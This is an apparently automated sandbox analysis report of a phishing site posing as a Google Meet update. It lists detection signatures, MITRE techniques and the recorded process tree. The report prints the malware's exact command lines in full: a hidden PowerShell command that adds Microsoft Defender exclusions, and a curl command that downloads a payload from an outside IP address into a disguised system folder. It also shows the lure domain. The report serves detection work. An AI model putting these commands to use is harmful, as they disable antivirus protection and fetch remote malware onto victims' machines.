hxxps://meet-google[.]work

Resubmissions

25/09/2026, 21:34

260925-1eznvaxcpg8

25/09/2026, 18:19

260925-wx8x1sge783

25/09/2026, 18:18

260925-wxlgqawzfw3

24/09/2026, 02:13

260924-cnvjgsyz5j10

Analysis

user interaction
yes
max time kernel
84s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 21:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://meet-google.work
Sample260925-1eznvaxcpg

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1968	powershell.exe
1784	powershell.exe
4756	powershell.exe
6112	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\LogFiles\WMI\FaceTelManually.etl	svchost.exe
File opened for modification	C:\WINDOWS\SYSTEM32\WINBIODATABASE\51F39552-1075-4199-B513-0C10EA185DB0.DAT	svchost.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4416	sc.exe
2404	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5964	msiexec.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2564	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1444	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
3756	reg.exe
4432	reg.exe
1476	reg.exe
2692	reg.exe
1064	reg.exe
2548	reg.exe
5988	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5328	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe
Token: SeShutdownPrivilege	1336	chrome.exe
Token: SeCreatePagefilePrivilege	1336	chrome.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe
1336	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1580	SecHealthUI.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 1336 wrote to memory of 3316	1336	chrome.exe	89
PID 1336 wrote to memory of 1444	1336	chrome.exe	91
PID 1336 wrote to memory of 4944	1336	chrome.exe	92
PID 1336 wrote to memory of 4944	1336	chrome.exe	92
PID 1336 wrote to memory of 248	1336	chrome.exe	93
PID 1336 wrote to memory of 248	1336	chrome.exe	93
PID 1336 wrote to memory of 5716	1336	chrome.exe	95
PID 1336 wrote to memory of 5716	1336	chrome.exe	95
PID 1336 wrote to memory of 1156	1336	chrome.exe	96
PID 1336 wrote to memory of 1156	1336	chrome.exe	96
PID 1336 wrote to memory of 4500	1336	chrome.exe	97
PID 1336 wrote to memory of 2764	1336	chrome.exe	98
PID 1336 wrote to memory of 2764	1336	chrome.exe	98
PID 1336 wrote to memory of 3856	1336	chrome.exe	99
PID 1336 wrote to memory of 3856	1336	chrome.exe	99
PID 1336 wrote to memory of 3980	1336	chrome.exe	103
PID 1336 wrote to memory of 2892	1336	chrome.exe	102
PID 1336 wrote to memory of 3980	1336	chrome.exe	103
PID 1336 wrote to memory of 2892	1336	chrome.exe	102
PID 1336 wrote to memory of 3404	1336	chrome.exe	104
PID 1336 wrote to memory of 3404	1336	chrome.exe	104
PID 1336 wrote to memory of 2572	1336	chrome.exe	105
PID 1336 wrote to memory of 5604	1336	chrome.exe	106
PID 1336 wrote to memory of 2572	1336	chrome.exe	105
PID 1336 wrote to memory of 5604	1336	chrome.exe	106
PID 1336 wrote to memory of 1432	1336	chrome.exe	107
PID 1336 wrote to memory of 1432	1336	chrome.exe	107
PID 1336 wrote to memory of 5640	1336	chrome.exe	109
PID 1336 wrote to memory of 2704	1336	chrome.exe	110
PID 1336 wrote to memory of 5852	1336	chrome.exe	111
PID 1336 wrote to memory of 2260	1336	chrome.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	29	curl/8.8.0
HTTP User-Agent header	30	curl/8.8.0

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://meet-google.work
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffdf4bcc728,0x7ffdf4bcc734,0x7ffdf4bcc740
  2⤵
  PID:3316
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2024,i,495904288588852396,3477833202825486529,524288 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:11
  2⤵
  - System Time Discovery
  PID:1444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,3938308334334567064,10573734588504968655,262144 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=1944 /prefetch:2
  2⤵
  PID:4944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2188,i,9547207549792868217,10890337532452244900,524288 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=2584 /prefetch:13
  2⤵
  PID:248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3204,i,12930278922472439862,18291519889287833260,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:5716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3232,i,17633347873161342983,6253498679090257574,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
  2⤵
  PID:1156
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5184,i,6816646736456875658,201182782181602481,524288 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:14
  2⤵
  PID:4500
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5248,i,3967250812296318000,7095138404011010420,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:1
  2⤵
  PID:2764
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5288,i,8017345566883802519,12141529337341730434,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:1
  2⤵
  PID:3856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5240,i,15857795726484590373,910005904720800455,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:1
  2⤵
  PID:2892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5544,i,10515593051374299390,3138423614680792773,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:1
  2⤵
  PID:3980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5312,i,14150427988983740974,1845201572309160866,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:1
  2⤵
  PID:3404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5948,i,7990143371890921486,16236846330994116788,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:1
  2⤵
  PID:2572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5592,i,13345250935810349316,11508498784746637425,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:1
  2⤵
  PID:5604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5364,i,12899547888946642165,12112744423087126921,2097152 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:1432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5360,i,6216638743596304148,17879767118647548004,524288 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=256 /prefetch:14
  2⤵
  PID:5640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5408,i,13570465400626714852,5578379376208130623,524288 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:14
  2⤵
  PID:2704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4848,i,10542329390783337184,736047542228957918,524288 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
  2⤵
  PID:5852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,6981337310346101301,10907966304028257992,524288 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5272 /prefetch:14
  2⤵
  PID:2260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5940,i,11616596951070346508,5644700927860569018,262144 --field-trial-handle=1948,i,14975507707533413439,14523188262035483337,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:10
  2⤵
  PID:4284

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1380

C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
"C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:4588

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:6096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc
1⤵
- Drops file in System32 directory
- Checks processor information in registry
PID:5212

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {3522D7AF-4617-4237-AAD8-5860231FC9BA} -Embedding
1⤵
PID:4652

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {3522D7AF-4617-4237-AAD8-5860231FC9BA} -Embedding
1⤵
PID:6000

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3364

C:\Users\Admin\Downloads\25092026_Downloads\GoogleMeetUpdate.exe
"C:\Users\Admin\Downloads\25092026_Downloads\GoogleMeetUpdate.exe"
1⤵
PID:3460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\DeviceSync\Cache\' -ExclusionPath 'C:\Users\Admin\Downloads\25092026_Downloads\' -ExclusionProcess 'DeviceSyncHost.exe' -ExclusionProcess 'DeviceSyncLoader.exe' -ExclusionProcess 'GoogleMeetUpdate.exe' -Force -EA 0; Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{ExclusionPath=@('C:\ProgramData\Microsoft\DeviceSync\Cache\','C:\Users\Admin\Downloads\25092026_Downloads\'); ExclusionProcess=@('DeviceSyncHost.exe','DeviceSyncLoader.exe','GoogleMeetUpdate.exe')} -EA 0 | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1968
- C:\Windows\system32\curl.exe
  "curl.exe" -fsSL --max-time 120 -o C:\ProgramData\Microsoft\DeviceSync\Cache\bootstrap_core.hcr http://145.63.131.161:8090/api/build/drop/fddc2a8d-106a-465e-b465-5d71622fb4b6-core.bin?t=6dfae62e123130b9151efb640cb7427c
  2⤵
  PID:1592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\DeviceSync\Cache\' -ExclusionPath 'C:\Users\Admin\Downloads\25092026_Downloads\' -ExclusionProcess 'DeviceSyncHost.exe' -ExclusionProcess 'DeviceSyncLoader.exe' -ExclusionProcess 'GoogleMeetUpdate.exe' -Force -EA 0; Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{ExclusionPath=@('C:\ProgramData\Microsoft\DeviceSync\Cache\','C:\Users\Admin\Downloads\25092026_Downloads\'); ExclusionProcess=@('DeviceSyncHost.exe','DeviceSyncLoader.exe','GoogleMeetUpdate.exe')} -EA 0 | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1784
- C:\ProgramData\Microsoft\DeviceSync\Cache\DeviceSyncHost.exe
  "C:\ProgramData\Microsoft\DeviceSync\Cache\DeviceSyncHost.exe" --no-mutex
  2⤵
  PID:3456
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncHost" /F
    3⤵
    PID:1968
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncMaintenance" /F
    3⤵
    PID:1592
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncLogon" /F
    3⤵
    PID:3116
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncWorker" /F
    3⤵
    PID:4180
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBoot" /F
    3⤵
    PID:5792
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBootEarly" /F
    3⤵
    PID:5984
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncSystemOnce" /F
    3⤵
    PID:3260
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncHost" /F
    3⤵
    PID:5372
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncMaintenance" /F
    3⤵
    PID:5796
- - C:\Windows\system32\schtasks.exe
    "schtasks.exe" /Delete /TN "\Microsoft\Windows\Device Sync\SyncBoot" /F
